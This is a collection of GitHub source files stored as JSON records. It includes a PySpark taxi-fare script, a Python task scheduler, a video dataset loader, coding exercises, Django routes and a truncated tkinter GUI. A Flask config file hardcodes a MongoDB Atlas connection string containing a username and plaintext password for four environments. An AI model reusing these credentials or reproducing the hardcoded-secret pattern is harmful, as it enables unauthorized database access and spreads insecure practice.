task').getOrCreate()\n\n\nclass ParserTripData(object):\n def __init__(self):\n self.df = spark.read.option('header', 'true').csv('taxi_tripdata.csv')\\\n .na.drop(how='any', subset=['VendorID'])\n self.header_result = ['Vendor', 'Payment Type', 'Payment Rate', 'Next Payment Rate',\n 'Max Payment Rate', 'Percents to next rate']\n self.dict_vendorsid = {1: 'Creative Mobile Technologies, LLC', 2: 'VeriFone Inc'}\n self.dict_patmenttypeid = {1: 'Credit card', 2: 'Cash', 3: 'No charge',\n 4: 'Dispute', 5: 'Unknown', 6: 'Voided trip'}\n self.path = str(Path.cwd()) + '/result'\n\n def main(self):\n self.add_all_records_in_dataframe_and_save_in_csv()\n\n def add_all_records_in_dataframe_and_save_in_csv(self):\n df = spark.createDataFrame(self.all_records(), self.header_result)\n df.repartition(1).write.format(\"com.databricks.spark.csv\").option(\"header\", \"true\").save(self.path)\n return df\n\n def all_records(self):\n list_records = list()\n for id_v in self.dict_vendorsid.keys():\n for id_type in self.dict_patmenttypeid.keys():\n if self.parse_on_vendor_and_payment_type(id_v, id_type):\n list_records.append(self.parse_on_vendor_and_payment_type(id_v, id_type))\n return list_records\n\n def parse_on_vendor_and_payment_type(self, id_vendor: int, id_paymenttype: int):\n df_parse = self.df.filter((self.df['VendorID'] == id_vendor) &\n (self.df['payment_type'] == id_paymenttype))\n payment_rate = df_parse.withColumn('Payment Rate', col('fare_amount')/col(\n 'trip_distance')).groupBy().mean('Payment Rate').collect()[0]['avg(Payment Rate)']\n next_payment_rate = df_parse.withColumn('Next Payment Rate', (col(\n 'fare_amount') + col('extra') + col('extra') + col('mta_tax') + col(\n 'improvement_surcharge'))/col('trip_distance')).groupBy().mean(\n 'Next Payment Rate').collect()[0]['avg(Next Payment Rate)']\n max_payment_rate = df_parse.withColumn('Max Payment Rate', col('total_amount')/col(\n 'trip_distance')).groupBy().mean('Max Payment Rate').collect()[0]['avg(Max Payment Rate)']\n try:\n percent_to_next_rate = 100 - ((100 * payment_rate) / next_payment_rate)\n return (self.dict_vendorsid[id_vendor], self.dict_patmenttypeid[id_paymenttype],\n payment_rate, next_payment_rate, max_payment_rate, percent_to_next_rate)\n except Exception:\n print(f'In {self.dict_vendorsid[id_vendor]} does '\n f'not have {self.dict_patmenttypeid[id_paymenttype]} records')\n\n\nif __name__ == '__main__':\n ParserTripData().main()\n","repo_name":"smagliy/Testing-task-for-Avenga","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30487212614","text":"import os\nfrom dotenv import find_dotenv, load_dotenv\n\n\nload_dotenv(find_dotenv())\n\nclass Config:\n FLASK_ENV = os.getenv('FLASK_ENV')\n FLASK_APP = os.getenv('FLASK_APP')\n SECRET_KEY = os.getenv('SECRET_KEY')\n GOOGLE_CLIENT_ID = os.getenv('GOOGLE_CLIENT_ID')\n OAUTHLIB_INSECURE_TRANSPORT = os.getenv('OAUTHLIB_INSECURE_TRANSPORT')\n FRONTEND_URL = os.getenv(\"FRONTEND_URL\")\n BACKEND_URL = os.getenv('BACKEND_URL')\n FLASK_DEBUG = os.getenv(\"FLASK_DEBUG\")\n\nclass Development(Config):\n TESTING = False \n DEBUG = True\n MONGO_URI = \"mongodb+srv://mayconrcampos:tZa66W2iubEEHDS@cluster0.fbj6hbc.mongodb.net/devinventory/?retryWrites=true&w=majority\"\n\nclass Production(Config):\n TESTING = False \n DEBUG = False\n MONGO_URI = \"mongodb+srv://mayconrcampos:tZa66W2iubEEHDS@cluster0.fbj6hbc.mongodb.net/devinventory-prod/?retryWrites=true&w=majority\"\n \nclass Testing(Config):\n DEBUG = False\n TESTING = True\n MONGO_URI = \"mongodb+srv://mayconrcampos:tZa66W2iubEEHDS@cluster0.fbj6hbc.mongodb.net/devinventory-test/?retryWrites=true&w=majority\"\n\nclass Homologation(Config):\n DEBUG = False\n TESTING = False\n MONGO_URI = \"mongodb+srv://mayconrcampos:tZa66W2iubEEHDS@cluster0.fbj6hbc.mongodb.net/devinventory-homo/?retryWrites=true&w=majority\"\n\napp_config = {\n \"development\": Development,\n \"production\": Production,\n \"testing\": Testing,\n \"homologation\": Homologation\n}","repo_name":"DEVin-ConectaNuvem/M3P2-LABinventory-BackEnd-Squad2","sub_path":"src/app/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"994534128","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 23 01:42:50 2020\n\n@author: manoj\n\"\"\"\n\nfrom collections import deque\n\nclass TreeNode:\n def __init__(self,val=0,left=None,right=None):\n self.val = val\n self.left = left\n self.right = right\n\ndef insertNodeBST(node,val):\n if node is None:\n node = TreeNode(val)\n elif val < node.val:\n node.left = insertNodeBST(node.left,val)\n elif val > node.val:\n node.right = insertNodeBST(node.right,val)\n \n return node\n\ndef inOrderTraversal(node,lst):\n if node:\n inOrderTraversal(node.left,lst)\n lst.append(node.val)\n inOrderTraversal(node.right,lst)\n\n#2D List\ndef levelOrderTraversal2D(node):\n d = deque()\n lst = []\n if node is None:\n return lst\n \n d.append(node)\n while d:\n innerQueue = []\n #capture all values\n sumVal = 0\n counter = 0\n for nodes in d:\n sumVal = sumVal + nodes.val\n counter = counter + 1\n avgVal = sumVal / counter\n #capture all nodes\n for nodes in d:\n if nodes.left is not None:\n innerQueue.append(nodes.left)\n if nodes.right is not None:\n innerQueue.append(nodes.right)\n #add the innerList values to outer return final List\n lst.append(avgVal)\n #add newly build queues\n d = innerQueue\n \n return lst\n\nbtTree = None\nbtTree = TreeNode(3)\nbtTree.left = TreeNode(9)\nbtTree.right = TreeNode(20)\nbtTree.right.left = TreeNode(15)\nbtTree.right.right = TreeNode(7)\n\nprintLst = []\nprintLst = inOrderTraversal(btTree,printLst)\nprint ('Inorder Binary Tree:',printLst)\n\nlst1 = levelOrderTraversal2D(btTree)\nprint ('levelOrderTraversal:', lst1)","repo_name":"manojnayakkuna/leetcode_easy","sub_path":"problems/leetcode_637_averageOfLevelsBT.py","file_name":"leetcode_637_averageOfLevelsBT.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30037439057","text":"\"\"\"\r\n\n\nThe **Polybius Square** cipher is a simple substitution cipher that makes use\nof a 5x5 square grid. The letters A-Z are written into the grid, with \"I\" and\n\"J\" typically sharing a slot (as there are 26 letters and only 25 slots).\n\n| 1| 2| 3| 4| 5 \n---|---|---|---|---|--- \n **1**| A| B| C| D| E \n **2**| F| G| H| I/J| K \n **3**| L| M| N| O| P \n **4**| Q| R| S| T| U \n **5**| V| W| X| Y| Z \n \nTo encipher a message, each letter is merely replaced by its row and column\nnumbers in the grid.\n\nCreate a function that takes a plaintext or ciphertext message, and returns\nthe corresponding ciphertext or plaintext.\n\n### Examples\n\n polybius(\"Hi\") ➞ \"2324\"\n \n polybius(\"2324 4423154215\") ➞ \"hi there\"\n \n polybius(\"543445 14343344 522433 21422415331443 52244423 4311311114\") ➞ \"you dont win friends with salad\"\n\n### Notes\n\n * As \"I\" and \"J\" share a slot, both are enciphered into 24, but deciphered only into \"I\" (see third and fourth test).\n * Any charactor other than letters and spaces should be dropped from the cypher.\n\n\"\"\"\r\n\ndef polybius(text):\n text = text.lower()\n text = text.replace(\"j\",\"i\").replace(\"'\",\"\").replace(\":\",\"\")\n letters = 'abcdefghiklmnopqrstuvwxyz'\n letter_dict = {}\n for i in range(len(letters)):\n letter_dict[letters[i]]=str((((i//5)+1)*10)+((i%5)+1))\n letter_dict.update({' ':' '})\n num_dict = {letter_dict[i]:i for i in letter_dict}\n del num_dict[' ']\n num_dict.update({' ':' '})\n if (text[0] in letters) or (text[0]=='j'):\n return ''.join([letter_dict[i] for i in text])\n else:\n text = text.replace(' ',' ')\n text = [text[i:i+2] for i in range(0,len(text),2)]\n return ''.join([num_dict[i] for i in text])\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"2C3gtb4treAFyWJMg_20.py","file_name":"2C3gtb4treAFyWJMg_20.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19004767210","text":"from src.dbDemo.ex_sqlite.Song import Song\nfrom src.dbDemo.ex_sqlite.db_config import CONN\n\n\nsongs_tb = \"\"\"\n CREATE TABLE IF NOT EXISTS songs (\n id INTEGER PRIMARY KEY,\n name TEXT,\n album TEXT\n )\n \"\"\"\ninsert_song = \"\"\"INSERT INTO songs VALUES (1, ?, ?)\"\"\"\ndata = ('Best', 'Mozartello')\n\nreq_get_all = \"\"\"SELECT * FROM songs\"\"\"\n\nSong('Best', 'Mozartello').create_table(songs_tb)\nSong('Best', 'Mozartello').insert_data(insert_song, data)\nrows = Song('Best', 'Mozartello').show_table(req_get_all)\nprint(rows)\nCONN.close()\n","repo_name":"satfaat/pythonDemo","sub_path":"src/features/db/sqlite/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40740319776","text":"from django.urls import path\nfrom main.views import *\n\nurlpatterns = [\n path('', HomePageView.as_view(), name='home'),\n path('category//', CategoryDetailView.as_view(), name='category'),\n path('post_detail//', PostDetailView.as_view(), name='post_detail'),\n path('post_create/', post_create, name='post_create'),\n path('post_update//', post_update, name='post_update'),\n path('post_delete//', PostDeleteView.as_view(), name='post_delete'),\n path('like_post//', like, name='like_post'),\n path('/comment_create/', CommentCreateView.as_view(), name='comment_create'),\n]","repo_name":"tynalieva/survey","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20169822348","text":"\n# %% Libraries\n\nprint('loading libraries')\nimport signal, os, subprocess, glob, sys, time, json, pandas as pd\nimport threading\nimport psutil\nimport sqlite3\nimport queue\nimport re\n\nprint('loading custom libraries')\nimport sys\nsys.path.append('../PyLib/')\nimport handy\n\nprint('loading setup parameters')\nimport setup\n\n# %% Setup\n\nprint('setting clock')\nclock = '5s'\n\nprint('creating folder')\nhandy.mkdir('./cache')\nhandy.mkdir('./cache/tasks')\nhandy.mkdir('./cache/log')\nhandy.mkdir('./cache/pid')\nhandy.mkdir('./cache/sts')\n\nprint('connect to database')\ncon = sqlite3.connect(setup.dbfile)\ncur = con.cursor()\ncur.execute('CREATE TABLE IF NOT EXISTS history'\n ' (timestamp INT, cycle INT, name TEXT, status TEXT)') \ncur.execute('CREATE TABLE IF NOT EXISTS latest'\n ' (timestamp INT, cycle INT, name TEXT, status TEXT, PRIMARY KEY (name))')\ncon.commit()\n\nprint('setup sql queue')\nsqlqueue = queue.Queue()\n\n# %% Functions\n\nprint('defining functions')\n\n# Append to file\ndef append(file, txt):\n with open(file, 'a') as f:\n f.write(str(txt))\n return None\n\n# Overwrite file\ndef overwrite(file, txt):\n with open(file, 'w') as f:\n f.write(str(txt))\n return None\n\n# Write status to sql queue\ndef appendstatus(sqlqueue, cycle, name, status):\n \n if setup.testing: print('appendstatus:', sqlqueue, cycle, name, status)\n\n # Append to status table (history)\n timestamp = pd.Timestamp('now', tz = 'CET')\n query = 'INSERT INTO history VALUES (?, ?, ?, ?)'\n data = (int(timestamp.value), int(cycle.value), name, status)\n sqlqueue.put((query, data))\n \n # Insert into latest status table (current)\n query = 'INSERT OR IGNORE INTO latest VALUES (?, ?, ?, ?)'\n data = (int(timestamp.value), int(cycle.value), name, status)\n sqlqueue.put((query, data))\n\n # Update latest status table (current)\n query = 'UPDATE latest SET timestamp = ?, cycle = ?, status = ? WHERE name = ?'\n data = (int(timestamp.value), int(cycle.value), status, name)\n sqlqueue.put((query, data))\n\n\n# Asynchronous execution thread\n# Credits: https://eli.thegreenplace.net/2017/interacting-with-a-long-running-child-process-in-python/\ndef runasync(cycle, name, path, script, timeout):\n \n if setup.testing: print('runasync()')\n \n logtime = pd.Timestamp(cycle)\n logtime = pd.Timestamp.tz_convert(logtime, tz = 'CET')\n logtime = logtime.strftime('%Y%m%d.%H%M%S')\n handy.mkdir(f'./cache/log/{name}')\n logfile = f'./cache/log/{name}/{logtime}.txt'\n stsfile = f'./cache/sts/{name}.txt'\n pidfile = f'./cache/pid/{name}.txt'\n \n def stsfun(proc, sqlqueue):\n overwrite(pidfile, str(proc.pid))\n \n # Write status to sql database\n appendstatus(sqlqueue, cycle, name, status = 'started')\n \n t0 = time.perf_counter()\n while proc.poll() is None:\n if (time.perf_counter() - t0) > timeout:\n break\n time.sleep(1) \n poll = proc.poll()\n status = ''\n if poll is None:\n parent = psutil.Process(proc.pid)\n children = parent.children(recursive = True)\n for child in children: child.kill()\n proc.kill()\n status = 'timeout'\n elif poll > 0:\n status = 'error'\n else:\n status = 'done'\n overwrite(pidfile, '-1')\n \n appendstatus(sqlqueue, cycle, name, status)\n \n def logfun(proc):\n overwrite(logfile, '')\n for line in iter(proc.stdout.readline, b''):\n append(logfile, line.decode(errors = 'ignore'))\n \n ext = script.lower().split('.')[-1]\n interpreter = handy.descent(setup.binaries, [ext], '')\n \n if interpreter == '':\n print('no interpreter found for \"' + ext + '\" for file \"' + name + '\"')\n\n exitstatus, logtext = 'error', ''\n try:\n proc = subprocess.Popen(args = interpreter + [script], cwd = path, stdout = subprocess.PIPE, stderr = subprocess.STDOUT)\n run_thread = threading.Thread(target = logfun, name = name, args = (proc,))\n run_thread.start()\n ctl_thread = threading.Thread(target = stsfun, name = name, args = (proc,sqlqueue))\n ctl_thread.start()\n except Exception as e:\n append(logfile, 'Scheduler: ' + str(e))\n appendstatus(sqlqueue, cycle, name, status = 'exception')\n\n\ndef get_tasks():\n files = glob.glob('./cache/tasks/*.txt')\n names = [os.path.basename(file).replace('.txt', '') for file in files]\n data = [json.loads(handy.saveread(file, '{}')) for file in files]\n data = pd.DataFrame(data)\n return data\n\ndef get_pid(name):\n pid = handy.saveread('./cache/pid/' + name + '.txt', fail = '-1')\n try: pid = int(pid)\n except: pid = -1\n if not psutil.pid_exists(pid): pid = -1\n return pid\n\n\ndef safedelta(t):\n try: return pd.Timedelta(t)\n except: return None\n\n\ndef safetime(t):\n try: return pd.Timestamp(t)\n except: return None\n \n# %% Cleanups\n\nprint('removing files')\nprint('cleaned pid:', len([os.remove(file) for file in handy.rls('./cache/pid/')]))\n\nprint('binding SIGINT and SIGTERM signals')\ndef cleanup(self, signum):\n print('cleanup')\n files = handy.rls('./cache/pid')\n pids = [handy.saveread(file, '-1') for file in files]\n rems = [os.remove(file) for file in files]\n pids = [pid for pid in pids if pid != '-1']\n for pid in pids:\n try: \n os.kill(int(pid), signal.SIGINT)\n print('cleaned up:', pid)\n except Exception as e:\n print(e)\n print('closing db connection')\n con.close()\n print('exiting...')\n sys.exit()\n\nsignal.signal(signal.SIGINT, cleanup)\nsignal.signal(signal.SIGTERM, cleanup)\n\n\n# %% Main Loop\n\nprint('entering main loop')\nwhile True:\n\n # Get all current tasks\n cycle = pd.Timestamp('now', tz = 'CET').floor(clock)\n\n # Retrieve all current tasks\n tasks = get_tasks()\n\n # Safely assume columns that we need\n cols = ['name', 'execute', 'path', 'script', 'timing', 'delay', 'enabled', 'timeout', 'status', 'lastrun']\n types = [str, str, str, str, str, safedelta, bool, safedelta, str, safetime]\n tasks = handy.havecols(tasks, cols, fill = '', types = types)\n \n # Compute execution policy by timing\n def replicate_by_timing(task):\n # task = tasks.iloc[1]\n timings = re.findall('([*-]|[0-9]{1,2}:[0-9]{2}|[0-9]{1,2} ?h|[0-9]{1,2} ?min|[0-9]{1,2} ?s)+', task['timing'], re.IGNORECASE)\n replicates = pd.concat([task] * len(timings), axis = 1).transpose()\n replicates['timing'] = timings\n return replicates\n\n tasks = [replicate_by_timing(row) for i, row in tasks.iterrows()]\n tasks = pd.concat(tasks + [pd.DataFrame()])\n \n # Reinstate all columns (empty tasks results in loss of all columns)\n tasks = handy.havecols(tasks, cols, fill = '', types = types)\n\n # Cycle\n tasks = tasks.assign(cycle = cycle)\n tasks = tasks.assign(timeout = tasks.timeout.apply(lambda t: t.total_seconds()))\n tasks = tasks.assign(timeout = tasks.timeout.astype(int))\n \n # Determine execution policy per row\n idx_disabled = tasks.timing.str.match('\\\\-')\n idx_continuous = tasks.timing.str.match('\\\\*')\n idx_clocked = tasks.timing.str.match('[0-9]{1,2}:[0-9]{2}')\n idx_interval = tasks.timing.str.match('[0-9]{1,2} ?h|[0-9]{1,2} ?min|[0-9]{1,2} ?s')\n \n # Execute clocked tasks\n do1 = tasks[idx_clocked]\n do1 = do1.assign(this_cycle = do1.cycle)\n do1 = do1.assign(next_cycle = do1.timing.apply(pd.Timestamp, tz = 'CET') + do1.delay)\n do1 = do1.assign(next_cycle = do1.next_cycle.apply(lambda t: t.floor(clock)))\n do1 = do1.query('next_cycle == this_cycle')\n \n # Execute interval tasks\n do2 = tasks[idx_interval]\n do2 = do2.assign(this_cycle = do2.cycle)\n do2 = do2.assign(this_cycle = do2.this_cycle.apply(pd.Timestamp))\n do2 = do2.assign(closest_cycle = do2.timing.apply(lambda interval: cycle.floor(interval)))\n do2 = do2.assign(next_cycle = (do2.closest_cycle + do2.delay).apply(lambda t: t.floor(clock)))\n do2 = do2.query('next_cycle == this_cycle')\n\n # Start continuous tasks\n do3 = tasks[idx_continuous]\n do3 = do3.assign(pid = do3.name.apply(get_pid))\n do3 = do3.query('pid == -1')\n \n # Combine and start threads\n cols = ['cycle', 'name', 'path', 'script', 'timeout']\n runnow = pd.concat([do1, do2, do3]).filter(cols)\n for i, task in runnow.iterrows():\n cycle, name, path, script, timeout = task[cols].to_dict().values()\n print(f' Running: {name}')\n runasync(cycle, name, path, script, timeout)\n\n # Write states to sql\n cur = con.cursor()\n while sqlqueue.qsize() > 0:\n query, data = sqlqueue.get()\n cur.execute(query, data)\n cutoff = pd.Timestamp('now', tz = 'CET').floor('1H') - pd.Timedelta('24H')\n cur.execute('DELETE FROM history WHERE cycle < ?', (int(cutoff.value),))\n con.commit()\n cur.close()\n\n # Check threads\n n = len(threading.enumerate())\n \n # Calculate how much we need to wait until the next cycle \n cycle1 = pd.Timestamp(cycle) + pd.Timedelta(clock)\n sleep = max(0, (cycle1 - pd.Timestamp('now', tz = 'CET')).total_seconds())\n \n print(f'{cycle}: Sleeping for {sleep} ({n} threads)')\n sys.stdout.flush()\n time.sleep(sleep)\n\n","repo_name":"nabudaldah/Scheduler","sub_path":"Scheduler.py","file_name":"Scheduler.py","file_ext":"py","file_size_in_byte":9362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23120865506","text":"import torch\nimport cv2\nimport os\nimport numpy as np\nimport re\nfrom torch.utils.data import Dataset\nimport random\n\nclass VideoDataset(Dataset):\n def __init__(self, root_dir, transform=None, time_seq=10, frame_rate=1, w=224, h=224, flow=False, flow_vector=False, spectral=False, grey=False):\n self.root_dir = root_dir\n self.transform = transform\n self.time_seq = time_seq\n self.frame_rate = frame_rate\n self.num_frames = time_seq * frame_rate\n self.w = w\n self.h = h\n self.flow = flow\n self.flow_vector = flow_vector\n self.spectral = spectral\n self.grey = grey\n self.classes = sorted(os.listdir(self.root_dir), key = lambda i:int(re.match(r'(\\d+)',i).group())) #number of classes\n self.count = [len(os.listdir(self.root_dir + '/' + c)) for c in self.classes] #number of samples in each class\n self.acc_count = [self.count[0]] #accumulated number of samples\n for i in range(1, len(self.count)):\n self.acc_count.append(self.acc_count[i - 1] + self.count[i])\n\n def __len__(self):\n return np.sum(np.array([len(os.listdir(self.root_dir + '/' + c)) for c in self.classes]))\n\n def __getitem__(self, idx):\n # 找到idx相应的label\n for i in range(len(self.acc_count)):\n if idx < self.acc_count[i]:\n label = i\n break\n \n class_path = self.root_dir + '/' + self.classes[label]\n if label:\n file_path = class_path + '/' + sorted(os.listdir(class_path))[idx - self.acc_count[label]]\n else:\n file_path = class_path + '/' + sorted(os.listdir(class_path))[idx]\n\n cap = cv2.VideoCapture(file_path)\n fps = cap.get(cv2.CAP_PROP_FPS) / self.frame_rate # 帧率\n i = 0\n j = 0\n frames = torch.zeros(self.num_frames, 3, self.w, self.h)\n success, frame = cap.read()\n frame = np.nan_to_num(frame)\n while success:\n if i % fps == 0:\n frame = torch.from_numpy(frame)\n frame = frame.permute(2,0,1) #HWc2CHW\n if self.transform:\n frame = self.transform(frame)\n frames[j, :, :, :] = frame\n j = j + 1\n if j == self.num_frames:\n break\n success, frame = cap.read()\n i = i + 1\n\n _, file_name = os.path.split(file_path)\n\n if self.flow_vector:\n flows = torch.FloatTensor(self.num_frames-1, 2, self.w, self.h)\n for i in range(len(frames)-1):\n first = cv2.cvtColor(frames[i].permute(1,2,0).numpy(), cv2.COLOR_BGR2GRAY)\n second = cv2.cvtColor(frames[i+1].permute(1,2,0).numpy(), cv2.COLOR_BGR2GRAY)\n inst = cv2.optflow.createOptFlow_DeepFlow()\n flow1 = inst.calc(first,second, None)\n flows[i, :, :, :] = torch.from_numpy(flow1).permute(2,0,1)\n return flows, label, file_name #num_frames-1*2*w*h\n elif self.flow:\n flows2 = torch.FloatTensor(self.num_frames - 1, 3, self.w, self.h)\n for i in range(len(frames)-1):\n first = cv2.cvtColor(frames[i].permute(1,2,0).numpy(), cv2.COLOR_BGR2GRAY)\n second = cv2.cvtColor(frames[i+1].permute(1,2,0).numpy(), cv2.COLOR_BGR2GRAY)\n inst = cv2.optflow.createOptFlow_DeepFlow()\n flow1 = inst.calc(first,second, None)\n flow2 = show_flow_hsv(flow1)\n flows2[i, :, :, :] = torch.from_numpy(flow2).permute(2,0,1) # num_frames-1*3*w*h\n return flows2, label, file_name\n else:\n return frames, label, file_name #num_frames*channel*w*h\n\ndef show_flow_hsv(flow, show_style=1):\n mag, ang = cv2.cartToPolar(flow[..., 0], flow[..., 1]) # 将直角坐标系光流场转成极坐标系\n hsv = np.zeros((flow.shape[0], flow.shape[1], 3), np.uint8)\n # 光流可视化的颜色模式\n if show_style == 1:\n hsv[..., 0] = ang * 180 / np.pi / 2 # angle弧度转角度\n hsv[..., 2] = 255\n # m = np.mean(mag)\n m = np.max(mag)\n if m!=0:\n mag = mag / m\n hsv[..., 1] = cv2.normalize(mag, None, 0, 255, cv2.NORM_MINMAX) # magnitude归到0~255之间\n elif show_style == 2:\n hsv[..., 0] = ang * 180 / np.pi / 279.9325980018167\n m = np.max(mag)\n mag = mag / m\n hsv[..., 1] = cv2.normalize(mag, None, 0, 255, cv2.NORM_MINMAX)\n hsv[..., 2] = 255\n # hsv转bgr\n bgr = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\n return bgr\n\n\ndef setup_seed(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n np.random.seed(seed)\n random.seed(seed)\n torch.backends.cudnn.deterministic = True\n\nif __name__ == '__main__':\n\n from torch.utils.data import DataLoader\n from torchvision import transforms\n\n data_dir_train = '/home/data/xujialang/Wind_Project/VisualWind_split/train'\n data_dir_val = '/home/data/xujialang/Wind_Project/VisualWind_split/val'\n data_dir_test = '/home/data/xujialang/Wind_Project/VisualWind_split/test'\n\n normalize = transforms.Normalize(mean = [0.5, 0.5, 0.5], std = [0.5, 0.5, 0.5])\n\n transform = (transforms.Compose([\n transforms.Resize([256,256]),\n transforms.ToPILImage(),\n # transforms.RandomGrayscale(),\n # transforms.RandomCrop([224,224]),\n # transforms.RandomHorizontalFlip(),\n # transforms.ColorJitter(),\n transforms.ToTensor()]\n # normalize]\n ),\n transforms.Compose([\n transforms.Resize([256,256]),\n transforms.ToPILImage(),\n # transforms.CenterCrop(224),\n transforms.ToTensor()]\n # normalize]\n )\n )\n\n train_dataset = VideoDataset(data_dir_train, transform[0], flow=False, w=256, h=256)\n val_dataset = VideoDataset(data_dir_val, transform[1], flow=False, w=256, h=256)\n test_dataset = VideoDataset(data_dir_test, transform[1], flow=False, w=256, h=256)\n\n shuffle_dataset = True\n random_seed = 42\n if shuffle_dataset:\n setup_seed(random_seed)\n\n # Creating PT data samplers and loaders:\n train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=1, shuffle=True)\n val_loader = torch.utils.data.DataLoader(val_dataset, batch_size=1, shuffle=False)\n test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=1, shuffle=False)\n\n for i, (inputs, target, file_name) in enumerate(train_loader):\n #input_var = [input.cuda() for input in inputs]\n # target_var = target.cuda(1)\n\n # Check input\n input_var_check = inputs.numpy()\n target_var_check = target.numpy()\n if (np.any(np.isnan(input_var_check))) or (np.any(np.isnan(target_var_check))):\n print(file_name)\n \n # print(i)\n # target_var_check = target_var.cpu().numpy()\n # assert not np.any(np.isnan(input_var_check))\n # assert not np.any(np.isnan(target_var_check))\n \n # input_var = torch.where(torch.isnan(input_var), torch.full_like(input_var, 0), input_var)\n\n # print(f.shape)\n # break\n for i, (inputs, target, file_name) in enumerate(val_loader):\n #input_var = [input.cuda() for input in inputs]\n # target_var = target.cuda(1)\n\n # Check input\n input_var_check = inputs.numpy()\n target_var_check = target.numpy()\n if (np.any(np.isnan(input_var_check))) or (np.any(np.isnan(target_var_check))):\n print(file_name)\n \n # print(i)\n # target_var_check = target_var.cpu().numpy()\n # assert not np.any(np.isnan(input_var_check))\n # assert not np.any(np.isnan(target_var_check))\n \n # input_var = torch.where(torch.isnan(input_var), torch.full_like(input_var, 0), input_var)\n\n # print(f.shape)\n # break\n\n for i, (inputs, target, file_name) in enumerate(test_loader):\n #input_var = [input.cuda() for input in inputs]\n # target_var = target.cuda(1)\n\n # Check input\n input_var_check = inputs.numpy()\n target_var_check = target.numpy()\n if (np.any(np.isnan(input_var_check))) or (np.any(np.isnan(target_var_check))):\n print(file_name)\n \n # print(i)\n # target_var_check = target_var.cpu().numpy()\n # assert not np.any(np.isnan(input_var_check))\n # assert not np.any(np.isnan(target_var_check))\n \n # input_var = torch.where(torch.isnan(input_var), torch.full_like(input_var, 0), input_var)\n\n # print(f.shape)\n # break\n\n","repo_name":"qinzhang2016/wind-scale-estimation-with-dual-branch-network","sub_path":"VideoDataSet.py","file_name":"VideoDataSet.py","file_ext":"py","file_size_in_byte":8732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"4270391917","text":"try:\n import os, sys\n import tkinter as tk\n from tkinter import ttk\n from tkinter.messagebox import askokcancel, showinfo\n from tkinter.filedialog import *\n import webbrowser, logging\nexcept:\n print(\"ERROR: Missing fundamental packages (required: os, sys, tkinter, webbrowser).\")\ntry:\n sys.path.append(os.path.dirname(__file__) + \"\\\\.site_packages\\\\riverpy\\\\\")\n import config\n import cDefinitions as cDef\n import cReachManager as cRM\n import fGlobal as fGl\nexcept:\n print(\"ERROR: Could not import riverpy.\")\n\n\nclass RaModuleGui(tk.Frame):\n def __init__(self, master=None):\n self.condition_list = fGl.get_subdir_names(config.dir2ra + \"01_Conditions\\\\\")\n self.condition = \"\"\n self.errors = False\n self.features = cDef.FeatureDefinitions()\n self.feature_id_list = []\n self.feature_name_list = []\n self.logger = logging.getLogger(\"logfile\")\n self.reaches = cDef.ReachDefinitions()\n self.reach_ids_applied = [] # self.reaches.id_xlsx ## initial: all reaches (IDs)\n self.reach_lookup_needed = False\n self.reach_names_applied = [] # self.reaches.names_xlsx ## initial: all reaches (full names)\n self.reach_template_dir = config.dir2mt + \".templates\\\\\"\n self.reader = cRM.Read()\n self.unit = \"us\"\n self.q_unit = \"cfs\"\n self.h_unit = \"ft\"\n self.u_unit = \"ft/s\"\n self.verified = False\n self.ww = int() # window width\n self.wh = int() # window height\n self.wx = int()\n self.wy = int()\n self.xd = 5 # distance holder in x-direction (pixel)\n self.yd = 5 # distance holder in y-direction (pixel)\n\n # Construct the Frame object.\n tk.Frame.__init__(self, master)\n # if imported from master GUI, redefine master as highest level (ttk.Notebook tab container)\n if __name__ != '__main__':\n self.master = self.winfo_toplevel()\n self.pack(expand=True, fill=tk.BOTH)\n\n # tkinter standard object\n self.l_reaches = tk.Label(self)\n\n self.make_standard_menus()\n\n def add_reach(self, reach):\n if str(reach).__len__() < 1:\n self.reach_names_applied = fGl.dict_values2list(self.reaches.name_dict.values())\n self.reach_ids_applied = fGl.dict_values2list(self.reaches.id_dict.values())\n self.reach_names_applied.remove(\"Raster extents\")\n self.reach_ids_applied.remove(\"none\")\n if self.reach_names_applied.__len__() > 5:\n label_text = \"Many / All\"\n else:\n label_text = \", \".join(self.reach_names_applied)\n self.l_reaches.config(fg=\"dark slate gray\", text=label_text)\n else:\n if not(reach == \"clear\"):\n if not (reach == \"ignore\"):\n if not(reach in self.reach_names_applied):\n self.reach_names_applied.append(self.reaches.name_dict[reach])\n self.reach_ids_applied.append(self.reaches.id_dict[reach])\n else:\n # ignore reaches\n self.reach_names_applied = [\"Raster extents\"]\n self.reach_ids_applied = [\"none\"]\n if self.reach_names_applied.__len__() > 5:\n label_text = \"Many / All\"\n else:\n label_text = \", \".join(self.reach_names_applied)\n self.l_reaches.config(fg=\"dark slate gray\", text=label_text)\n else:\n self.reach_names_applied = []\n self.reach_ids_applied = []\n self.l_reaches.config(fg=\"red\", text=\"Select from \\'Reaches\\' Menu\")\n\n def complete_menus(self):\n # dummy ensures consistency\n pass\n\n def define_reaches(self):\n try:\n webbrowser.open(config.dir2mt + \".templates\\\\computation_extents.xlsx\")\n self.reach_lookup_needed = True # tells build_reachmenu that lookup of modified spreasheet info is needed\n except:\n showinfo(\"ERROR\", \"Cannot 